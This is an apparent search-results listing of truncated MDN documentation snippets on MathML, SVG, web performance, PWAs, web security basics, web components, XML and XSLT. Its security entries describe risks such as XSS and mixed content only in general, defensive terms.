t color. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. see length for possible values. deprecated values are: small, normal and big. these will be removed in the future. mathvariant this attribute specifies the logical class of the operator which varies in typography. that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography. the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example s...
<mrow> - MathML
Web › MathML › Element › mrow
, you should group elements within an <mrow> in the same way as they are grouped in the mathematical interpretation of the expression. proper grouping helps the rendering of the expression in several ways: it can improve the display by possibly affecting spacing. it allows for more intelligent line-breaking and indentation. it simplifies the interpretation of the expression by automated systems such as computer algebra systems and audio renderers. attributes class, id, style provided for use with stylesheets. dir overall directionality of formulas. possible values are either ltr (left to right) or rtl (right to left). href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text colo...
<mtext> - MathML
Web › MathML › Element › mtext
olor. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. see length for possible values. deprecated values are: small, normal and big. these will be removed in the future. mathvariant this attribute specifies the logical class of the identifier, which varies in typography. that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography. the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example s...
MathML
e reference information about mathml attributes that modify the appearance or behavior of elements. mathml examples mathml samples and examples to help you understand how it works. authoring mathml suggestions and tips for writing mathml, including suggested mathml editors and how to integrate their output into web content. view all... getting help from the community view mozilla forums... mailing list newsgroup rss feed matrix chat room wiki used by mozilla contributors w3c math home www-math w3.org mail archive tools w3c validator mathzilla firefox add-on collection texzilla — javascript latex to mathml converter (live demo, firefox os webapp, firefox add-on, using in a web page, js program etc) latexml - convert latex documents into html+mathml web p...
Digital video concepts - Web media technologies
yuv (or y'uv) color encoding system is based around how humans perceive a color image. doing so allows color data to be represented using fewer total bits of space in a video stream. the name "yuv" is generally used today to describe this color system, even though the term was originally used specifically for analog coding of color, while ycbcr was used for digital color. however, today both terms are used for digital color. the prime symbol, ', indicates that gamma compression is being used. contemplating human vision we're able to represent an image this way because the human eye sees far more detail in greyscale than in color, thanks to biology. the human eye contains two kinds of photoreceptor (light-sensing) cells. the rods are highly-sensitive light intensity sensors. the cones are...
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
this article explains a change that has occured in the way sizes are worked out on web documents when width and height attributes are set on them. this change means that the aspect ratio of the image is calculated by the browser early on and can then be used to correct the size needed to display the image before it has loaded, if css has been applied that causes problems with its display size. read on to find out more. jank problems when loading images in the olden days of web development, it was always seen as a good practice to add width and height attributes to your html <img> elements, so that when browsers first loaded the page, they could put a correctly-sized placeholder box in the layout for each image to appear in when it finally loads. without the width and height att...
Optimizing startup performance - Web Performance
ne and the app's main code starts to run, it's possible your app may necessarily be single-threaded,especially if it's a port. the most important thing to do to try to help with the main code's startup process is to refactor the code into small pieces that can be done in chunks interspersed across multiple calls to your app's main loop, so that the main thread gets to handle input and the like. emscripten provides an api to help with this refactoring; for example, you can use emscripten_push_main_loop_blocker() to establish a function to be executed before the main thread is allowed to continue. by establishing a queue of functions to be called in sequence, you can more easily manage running bits of code without blocking the main thread. that leaves, though, the problem of having to refact...
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
long tail. synthetic monitoring can be an important component of regression testing and production site monitoring. test the site at every stage of development and regularly in production. changes from baseline performance as part of continuous integration should fail a push. if an issue arises in production, synthetic monitoring can provide insight, helping identify, isolate, and resolve problems before they negatively user experience. real user monitoring real user monitoring or rum measures the performance of a page from real users' machines. generally, a third party script injects a script on each page to measure and report back on page load data for every request made. this technique monitors an application’s actual user interactions. in real user monitoring, the browsers of real ...
Using dns-prefetch - Web Performance
this is because the ip behind your site’s domain will have already been resolved by the time the browser sees the hint. second, it’s also possible to specify dns-prefetch (and other resources hints) as an http header by using the http link field: link: <https://fonts.gstatic.com/>; rel=dns-prefetch third, consider pairing dns-prefetch with the preconnect hint. while dns-prefetch only performs a dns lookup, preconnect establishes a connection to a server. this process includes dns resolution, as well as establishing the tcp connection, and performing the tls handshake—if a site is served over https. combining the two provides an opportunity to further reduce the perceived latency of cross-origin requests. you can safely use them together like so: <link rel="preconnect" href="https:/...
How to make PWAs installable - Progressive web apps (PWAs)
if developing your app using firefox, be aware that you will need a service worker to be compatible with chromium-based browsers. the manifest file the key element is a web manifest file, which lists all the information about the website in a json format. it usually resides in the root folder of a web app. it contains useful information, such as the app...
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
the result of the user action can be default, granted or denied. the default option is chosen when the user won't make a choice, and the other two are set when the user clicks yes or no respectively. when accepted, the permission works for both notifications and push. create a notification the example app creates a notification out of the a...
SVG Presentation Attributes - SVG: Scalable Vector Graphics
glyph orientation when the inline-progression-direction is horizontal. value: <angle>|inherit; animatable: no glyph-orientation-vertical deprecated since svg 2 it controls glyph orientation when the inline-progression-direction is vertical. value: auto|<angle>|inherit; animatable: no image-rendering it provides a hint to the browser about how to make speed vs. quality tradeoffs as it performs image processing. value: auto|optimizequality|optimizespeed; animatable: yes kerning deprecated since svg 2 it indicates whether the browser should adjust inter-glyph spacing. value: auto|<length>|inherit; animatable: yes letter-spacing it controls spacing between text characters. value: normal|<length>|inherit; animatable: yes lighting-color it defines the color of the light source for ...
arabic-form - SVG: Scalable Vector Graphics
only one element is using this attribute: <glyph> context notes value initial | medial | terminal | isolated default value isolated animatable no initial this value indicates that the glyph represents the initial form. medial this value indicates that the glyph represents the medial form. terminal this value indicates that the glyph represents the terminal form. isolated this value indicates that the glyph represents the isolated form. ...
data-* - SVG: Scalable Vector Graphics
Web › SVG › Attribute › data-*
ally for scripting purposes. their custom data are available via the svgelement interface of the element the attributes belong to, with the svgelement.dataset property. the * can be replaced by any characters allowed in xml's rules for names, with the following restrictions: can't start with xml. no semicolons (;, u+003a). no capital a to z letters. the svgelement.dataset property is a domstringmap that provides the attribute data-test-value via svgelement.dataset.testvalue. hyphen characters (-, u+002d) are removed and the next letter is capitalized, resulting in the camelcase format. specifications specification status comment scalable vector graphics (svg) 2the definition of 'data-*' in that specification. candidate recommendation custom data attr...
dur - SVG: Scalable Vector Graphics
Web › SVG › Attribute › dur
m="0" to="50" dur="3s" repeatcount="indefinite"/> </rect> </svg> usage notes value <clock-value> | media | indefinite default value indefinite animatable no <clock-value> this value specifies the length of the simple duration. the value must be greater than 0 and can be expressed with hours (h), minutes (m), seconds (s) or milliseconds (ms). itʼs possible to combine those time representations to create some complex durations like hh:mm:ss.iii or mm:ss.iii. media this value specifies the simple duration as the intrinsic media duration. this is only valid for elements that define media. (for animation elements the attribute will be ignored if media is specified.) indefinite this value specifies the simple duration as indefini...
font-variant - SVG: Scalable Vector Graphics
"0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <common-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historical-forms || styleset( <feature-value-name># ) || character-variant( <feature-value-name># ) || swash( <feature-value-name> ) || ornaments( <feature-value-name> ) || annotation( <feature-value-name> ) || [ small-caps | all-small-caps | petite-caps | all-petite-caps | unicase | titling-caps ] || <numeric-figure-values> || <numeric-spacing-values> || <numeric-fraction-values> || ordinal || slashed-zero || <e...
glyph-orientation-vertical - SVG: Scalable Vector Graphics
following five elements: <altglyph>, <textpath>, <text>, <tref>, and <tspan> context notes value auto | <angle> default value auto animatable no auto fullwidth ideographic and fullwidth latin text will be set with a glyph orientation of 0 degrees. ideographic punctuation and other ideographic characters having alternate horizontal and vertical forms will use the vertical form of the glyph. text which is not fullwidth will be set with a glyph orientation of 90 degrees. this reorientation rule applies only to the first-level non-ideographic text. all further embedding of writing modes or bidirectional processing will be based on the first-level rotation. note: text set in this "rotated" manner may contain ligatures or other glyph combini...
gradientTransform - SVG: Scalable Vector Graphics
);" /> </svg> usage notes default value identity transform value <transform-list> animatable yes <transform-list> a list of transformation functions specifying some additional transformation from the gradient coordinate system onto the target coordinate system. specifications specification status comment css transforms level 1the definition of 'surfacescale for <fespecularlighting>' in that specification. working draft defines the <transformation-list> value. scalable vector graphics (svg) 2the definition of 'gradienttransformation for <lineargradient>' in that specification. candidate recommendation no change scalable vector graphics (svg) 2the definition of 'gradienttransformatio...
image-rendering - SVG: Scalable Vector Graphics
the resampling is always done in a truecolor (e.g., 24-bit) color space even if the original data and/or the target device is indexed color. note: as a presentation attribute, image-rendering can be used as a css property. see the css image-rendering property for more information. ...
paint-order - SVG: Scalable Vector Graphics
eir default order after the specified components. for example, using stroke is equivalent to stroke fill markers. ...
requiredFeatures - SVG: Scalable Vector Graphics
determines whether a...
spacing - SVG: Scalable Vector Graphics
Web › SVG › Attribute › spacing
spacing attribute indicates how the user agent should determine the spacing between typographic characters that are to be rendered along a path. only one element is using this attribute: <textpath> usage notes value auto | exact default value exact animatable yes auto this value indicates that the user agent should use text-on-a-path layout algorithms to adjust the spacing between typographic characters in order to achieve visually appealing results. exact this value indicates that the typographic characters should be rendered exactly according to the spacing rules as specified by the layout rules for text-on-a-path. specifications specification status comment scalable vector graphics (svg) 2the definition of '...
transform-origin - SVG: Scalable Vector Graphics
f the keywords left, center, and right. the other value must be a <length>, a <percentage>, or one of the keywords top, center, and bottom. three-value syntax: the first two values are the same as for the two-value syntax. the third value must be a <length>. it always represents the z offset. specifications specification status comment css transforms level 1the definition of 'transform-origin' in that specification. working draft scalable vector graphics (svg) 2the definition of 'transform-origin' in that specification. candidate recommendation ...
transform - SVG: Scalable Vector Graphics
n specifies a skew transformation along the y axis by a degrees. example html,body,svg { height:100% } <svg viewbox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> <rect x="-3" y="-3" width="6" height="6" /> <rect x="-3" y="-3" width="6" height="6" fill="red" transform="skewy(30)" /> </svg> specification specification status comment css transforms level 2the definition of 'transform' in that specification. editor's draft css transforms level 1the definition of 'transform' in that specification. working draft scalable vector graphics (svg) 2the definition of 'transform' in that specification. candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'transfo...
version - SVG: Scalable Vector Graphics
Web › SVG › Attribute › version
it is only allowed on the root <svg> element. it is purely advisory and has no influence on rendering or processing. while it is specified to accept any number, the only two valid choices are currently 1.0 and 1.1. ...
Compatibility sources - SVG: Scalable Vector Graphics
bles on svg elements and attributes: https://developer.mozilla.org/en/svg_in_firefox together with its revision history for firefox http://www.webkit.org/projects/svg/status.xml together with its recorded archive for webkit, safari and chrome http://www.opera.com/docs/specs/opera9/svg/ and accompanying pages for opera >= 9, http://www.opera.com/docs/specs/opera8/ for opera 8 http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx for hints on ie9 support status the svg support charts at codedread.com for basic checks against the w3c test suite wikipedia for basic hints, not normative ...
<feColorMatrix> - SVG: Scalable Vector Graphics
s color value [r,g,b,a] is matrix multiplied by a 5 by 5 color matrix to create new color [r',g',b',a']. the prime symbol ' is used in mathematics indicate the result of a transformation. | r' | | r1 r2 r3 r4 r5 | | r | | g' | | g1 g2 g3 g4 g5 | | g | | b' | = | b1 b2 b3 b4 b5 | * | b | | a' | | a1 a2 a3 a4 a5 | | a | | 1 | | 0 0 0 0 1 | | 1 | in simplified terms, below is how each color channel in the new pixel is calculated. the last row is ignored because its values are constant. r' = r1*r + r2*g + r3*b + r4*a + r5 g' = g1*r + g2*g + g3*b + g4*a + g5 b' = b1*r + b2*g + b3*b + b4*a + b5 a' = a1*r + a2*g + a3*b + a4*a + a5 take the amount of red in the new pixel, or r': it is the sum of r1 times the old pixel's red r, r2 times the old pixel's green...
<feComponentTransfer> - SVG: Scalable Vector Graphics
it allows operations like brightness adjustment, contrast adjustment, color balance or thresholding. the calculations are performed on non-premultiplied color values. the colors are modified by changing each channel (r, g, b, and a) to the result of what the children <fefuncr>, <fefuncb>, <fefuncg>, and <fefunca> return. ...
<feComposite> - SVG: Scalable Vector Graphics
additionally, a component-wise arithmetic operation (with the result clamped between [0..1]) can be applied. the arithmetic operation is useful for combining the output from the <fediffuselighting> and <fespecularlighting> filters with texture data. ...
<textPath> - SVG: Scalable Vector Graphics
Web › SVG › Element › textPath
ck brown fox jumps over the lazy dog. </textpath> </text> </svg> attributes href the url to the path or basic shape on which to render the text. if the path attribute is set, href has no effect. value type: <url> ; default value: none; animatable: yes lengthadjust where length adjustment should be applied to the text: the space between glyphs, or both the space and the glyphs themselves. value type: spacing|spacingandglyphs; default value: spacing; animatable: yes method which method to render individual glyphs along the path. value type: align|stretch ; default value: align; animatable: yes path the path on which the text should be rendered. value type: <path_data> ; default value: none; animatable: yes side which side of the path the text should be rendered. val...
SVG element reference - SVG: Scalable Vector Graphics
Web › SVG › Element
here you'll find reference documentation for each of the svg elements. ...
Namespaces crash course - SVG: Scalable Vector Graphics
to redeclare the default namespace rather than prefix lots of elements in this way. scripting in namespaced xml namespaces affect not only markup, but also scripting. if you write scripts for namespaced xml such as svg, read on. the dom level 1 recommendation was created before the original namespaces in xml recommendation was released; therefore, dom1 isn't namespace aware. this causes problems for namespaced xml such as svg. to resolve these problems, dom level 2 core added namespace aware equivalents of all the applicable dom level 1 methods. when scripting svg, it is important to use the namespace aware methods. the table below lists the dom1 methods that shouldn't be used in svg, along with their equivalent dom2 counterparts that should be used instead. dom1 (don't use) ...
Specification Deviations - SVG: Scalable Vector Graphics
x 3. in general this change will not be visible to svg authors (the elements for which the svg specification does not define the 'class' and 'style' attribute are elements that are not displayed directly). however, there are two exceptions. extending the 'class' attribute to apply to all svg elements will allow svg authors to use the selectors api to select any svg element based on class. this seems like a good thing. requiring svg authors to know which elements can and cannot take a 'class' attribute would just put an extra burden on them. extending the 'style' attribute to apply to all svg elements should only really be visible to svg authors if they call viewcss.getcomputedstyle on the element or one of its descendants. since these elements and their descendants are not displayed, it seem...
Fills and Strokes - SVG: Scalable Vector Graphics
. the first example specifies three numbers, in which case the renderer loops the numbers twice to create an even pattern. so the first path renders 5 filled, 10 empty, 5 filled, and then loops back to create 5 empty, 10 filled, 5 empty. the pattern then repeats. there are additional stroke and fill properties available, including fill-rule, which specifies how to color in shapes that overlap themselves; stroke-miterlimit, which determines if a stroke should draw miters; and stroke-dashoffset, which specifies where to start a dasharray on a line. using css in addition to setting attributes on objects, you can also use css to style fills and strokes. not all attributes can be set via css. attributes that deal with painting and filling are usually available, so fill, stroke, stroke-dasharra...
Gradients in SVG - SVG: Scalable Vector Graphics
s in absolute units. so you have to know where your object is, and place the gradient at the same place. the radialgradient above would be rewritten: <radialgradient id="gradient" cx="60" cy="60" r="50" fx="35" fy="35" gradientunits="userspaceonuse"> you can also then apply another transformation to the gradient by using the gradienttransform attribute, but since we haven't introduced transforms yet, i'll leave that for later. there are some other caveats for dealing with gradientunits="objectboundingbox" when the object bounding box isn't square, but they're fairly complex and will have to wait for someone more in-the-know to explain them. « previousnext » ...
Positions - SVG: Scalable Vector Graphics
vg canvas with 100x100px. one user unit equals one screen unit. <svg width="200" height="200" viewbox="0 0 100 100"> the whole svg canvas here is 200px by 200px in size. however, the viewbox attribute defines the portion of that canvas to display. these 200x200 pixels display an area that starts at user unit (0,0) and spans 100x100 user units to the right and to the bottom. this effectively zooms in on the 100x100 unit area and enlarges the image to double size. the current mapping (for a single element or the whole image) of user units to screen units is called user coordinate system. apart from scaling the coordinate system can also be rotated, skewed and flipped. the default user coordinate system maps one user pixel to one device pixel. (however, the device may decide, what it unders...
SVG In HTML Introduction - SVG: Scalable Vector Graphics
op color to red. (another style rule makes an error message appear.) this approach has the following points in its favor: we have taken a regular html form that could have been part of an existing web site, and added an attractive, interactive background the approach is backwards compatible to browsers that do not support svg; simply, no background appears in them it's very simple and performs very well the picture dynamically sizes itself to the required size in an intelligent way we can have declarative style rules applying to both html and svg the same script manipulates both html and svg the document is entirely standards-based to add a linked image with dom methods to an embedded svg element, one has to use setattributens to set href. like in the following example: var im...
SVG fonts - SVG: Scalable Vector Graphics
rnal sources for font declarations by means of its children <font-face-name> and <font-face-uri>. the above example states that if the renderer has a local font available named "super sans bold", it should use this instead. following <font-face-src> is a <missing-glyph> element. this defines what should be displayed if a certain glyph is not found in the font and if there are no fallback mechanisms. it also shows how glyphs are created: by simply adding any graphical svg content inside. you can use literally any other svg elements in here, even <filter>, <a> or <script>. for simple glyphs, however, you can simply add a d attribute — this defines a shape for the glyph exactly like how standard svg paths work. the actual glyphs are then defined by <glyph> elements. the most important attri...
SVG Tutorial - SVG: Scalable Vector Graphics
Web › SVG › Tutorial
if you just want to draw beautiful images, you might find more useful resources at inkscape's documentation page. another good introduction to svg is provided by the w3c's svg primer. the tutorial is in an early stage of development. if you're able, please help out by chipping in and writing a paragraph or two. ...
SVG: Scalable Vector Graphics
Web › SVG
g element reference details about each svg element. svg attribute reference details about each svg attribute. svg dom interface reference details about the svg dom api, for interaction with javascript. applying svg effects to html content svg works together with html, css and javascript. use svg to enhance a regular html page or web application. view all... community view mozilla forums... mailing list newsgroup rss feed tools svg test suite markup validator more tools... other resources: xml, css, dom, canvas examples google maps (route overlay) & docs (spreadsheet charting) svg bubble menus svg authoring guidelines an overview of the mozilla svg project frequently asked questions regarding svg and mozilla svg as an image svg animation with smil ...
Certificate Transparency - Web security
). implementation when certificates are submitted to a ct log, a signed certificate timestamp (sct) is generated and returned. this serves as a proof that the certificate has been submitted and will be added to the log. the specification states that compliant servers must provide a number of these scts to tls clients when they connect. ...
Insecure passwords - Web security
network eavesdroppers could steal a user's password by sniffing the network, or by modifying the served page in transit. the https protocol is designed to protect user data from eavesdropping (confidentiality) and from modification (integrity) on the network. websites that handle user data should use https to protect their users from attackers. if a website uses http instead of https, it is trivial to steal user information (such as their login credentials). this was famously demonstrated by firesheep. to fix this issue, install and configure an ssl/tls certificate onto your server. ...
Mixed content - Web security
es are only served on a specific page within a website. if the attacker observes http requests to certain images, they could determine which webpage the user is visiting. passive content list this section lists all types of http requests which are considered passive content: <img> (src attribute) <audio> (src attribute) <video> (src attribute) <object> subresources (when an <object> performs http requests) mixed active content mixed active content is content that has access to all or parts of the document object model of the https page. this type of mixed content can alter the behavior of the https page and potentially steal sensitive data from the user. hence, in addition to the risks described for mixed display content above, mixed active content is vulnerable to a few other att...
Same-origin policy - Web security
nt or script loaded from one origin can interact with a resource from another origin. it helps isolate potentially malicious documents, reducing possible attack vectors. definition of an origin two urls have the same origin if the protocol, port (if specified), and host are the same for both. you may see this referenced as the "scheme/host/port tuple", or just "tuple". ...
Types of attacks - Web security
the user's unwitting permission to install a piece of malware. (click-jacking is sometimes called "user interface redressing", though this is a misuse of the term "redress".) cross-site request forgery (csrf) cross-site scripting (xss) cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. the user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens,...
HTML Imports - Web Components
obsolete since google chrome 73 this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. firefox will not ship html imports in its current form. see this status update for more information. until there is a consensus on the standard or alternative mechanisms are worked out, you can use a polyfill such as google's webcomponents.js. html imports is intended to be the packaging mechanism for web components, but you can also use html imports by itself. you import an html file by using a <link> tag in an html document like this: <link rel="import" href="myfile.html"> the import link type is new. specification specification status comment html imports working ...
Using custom elements - Web Components
y autonomous custom elements. high-level view the controller of custom elements on a web document is the customelementregistry object — this object allows you to register a custom element on the page, return information on what custom elements are registered, etc. to register a custom element on the page, you use the customelementregistry.define() method. this takes as its arguments: a domstring representing the name you are giving to the element. note that custom element names require a dash to be used in them (kebab-case); they can't be single words. a class object that defines the behaviour of the element. optionally, an options object containing an extends property, which specifies the built-in element your element inherits from, if any (only relevant to customized built-in el...
Using templates and slots - Web Components
ent's content property (and clone it). however, it is generally more practical to add slots within a <template> element, since you are unlikely to need to define a pattern based on an already-rendered element. in addition, even if it is not already rendered, the purpose of the container as a template should be more semantically clear when using the <template>. in addition, <template> can have items directly added to it, like <td>, which would disappear when added to a <div>. note: you can find this complete example at element-details (see it running live also). creating a template with some slots first of all, we use the <slot> element within a <template> element to create a new "element-details-template" document fragment containing some named slots: <template id="element-details-tem...
Web Components
oncepts and usage as developers, we all know that reusing code as much as possible is a good idea. this has traditionally not been so easy for custom markup structures — think of the complex html (and associated style and script) you've sometimes had to write to render custom ui controls, and how using them multiple times can turn your page into a mess if you are not careful. web components aims to solve such problems — it consists of three main technologies, which can be used together to create versatile custom elements with encapsulated functionality that can be reused wherever you like without fear of code collisions. custom elements: a set of javascript apis that allow you to define custom elements and their behaviour, which can then be used as desired in your user interface. s...
XML Index - XML: Extensible Markup Language
Web › XML › Index
xml introduction beginner, introduction, xml xml is a markup language similar to html. it stands for extensible markup language and is a w3c recommended specification as a general purpose markup language. this means, unlike other markup languages, xml is not predefined so you must define your own tags. the primary purpose of the language is the sharing of data across different systems, such as the internet. 4 xml:base html baseelement, needsspectable, svg, xml:base xml:base is like the html baseelement but can specify the base uri per element as well as the entire document. ...
XML introduction - XML: Extensible Markup Language
xml (extensible markup language) is a markup language similar to html, but without predefined tags to use. instead, you define your own tags designed specifically for your needs. this is a powerful way to store data in a format that can be stored, searched, and shared. most importantly, since the fundamental format of xml is standardized, if you share or transmit xml across systems or platforms, either locally or over the internet, the recipient can still parse the data due to the standardized xml syntax. there are many languages based on xml, including xhtml, mathml, svg, xul, xbl, rss, and rdf. you can also define your own. structure of an xml document this sub-article in process writing... whole structure xml and xml based languages built on tags. xml declaration xml - dec...
XML: Extensible Markup Language
Web › XML
object model. xml indexfound 4 pages:xml introductionxml is a markup language similar to html. it stands for extensible markup language and is a w3c recommended specification as a general purpose markup language. this means, unlike other markup languages, xml is not predefined so you must define your own tags. the primary purpose of the language is the sharing of data across different systems, such as the internet. xml:basexml:base is like the html baseelement but can specify the base uri per element as well as the entire document. ...
choose - XPath
...
<xsl:attribute-set> - XSLT: Extensible Stylesheet Language Transformations
ame use-attribute-sets=list-of-names> <xsl:attribute> </xsl:attribute-set> required attributes name specifies the name of the attribute set. the name must be a valid qname. optional attributes use-attribute-sets builds an attribute set from other attribute sets. the names of the contributing sets must be separated with whitespace characters and must not directly or indirectly embed themselves. type top-level, must be the child of <xsl:stylesheet> or <xsl:transform>. defined xslt, section 7.1.4. gecko support supported. ...
<xsl:sort> - XSLT: Extensible Stylesheet Language Transformations
Web › XSLT › Element › sort
o specify the nodes to be sorted. order specifies whether the nodes should be processed in "ascending" or "descending" order. the default is "ascending". case-order indicates whether upper- or lowercase letters are to be ordered first. the allowable values are "upper-first" and "lower-first". lang specifies which language is to be used by the sort. data-type defines whether items are to be ordered alphabetically or numerically. the allowable values are "text" and "number" with "text" being the default. type subinstruction, always appears as a child of <xsl:for-each>, where it must appear before the template proper or of <xsl:apply-templates>. defined xslt, section10. gecko support supported. ...
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
nked by a network. yet eventually much of the content stored in xml documents will need to be presented to human readers. because a browser provides a familiar and highly flexible interface, it is an ideal mechanism for delivering such presentation versions of xml content. built from the ground up utilizing a wide variety of xml technologies, firefox incorporates within itself all of the mechanisms needed to process both original xml documents and the specialized stylesheets used to style and lay them out for html display, reducing server load with client-side processing. at present, gecko (the layout engine behind firefox) supports two forms of xml stylesheets. for basic control of appearance — fonts, colors, position, and so forth — gecko uses css. css1 and css2 are well supported an...
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
t html document, passing in document is enough. ...
Resources - XSLT: Extensible Stylesheet Language Transformations
resources using the mozilla javascript interface to xsl transformations mozilla.org's xslt project page, which includes a frequently encountered issues section. msdn: xslt concepts ...
XSLT: Extensible Stylesheet Language Transformations
Web › XSLT
slt tutorial this w3schools tutorial teaches the reader how to use xslt to transform xml documents into other formats, like xhtml. what is xslt? this extensive introduction to xslt and xpath assumes no prior knowledge of the technologies and guides the reader through background, context, structure, concepts and introductory terminology. common xslt errors this article lists some common problems using xslt in firefox. xslt 2.0 (new) view all... community view mozilla forums... mailing list newsgroup rss feed related topics xml, xpath, xquery ...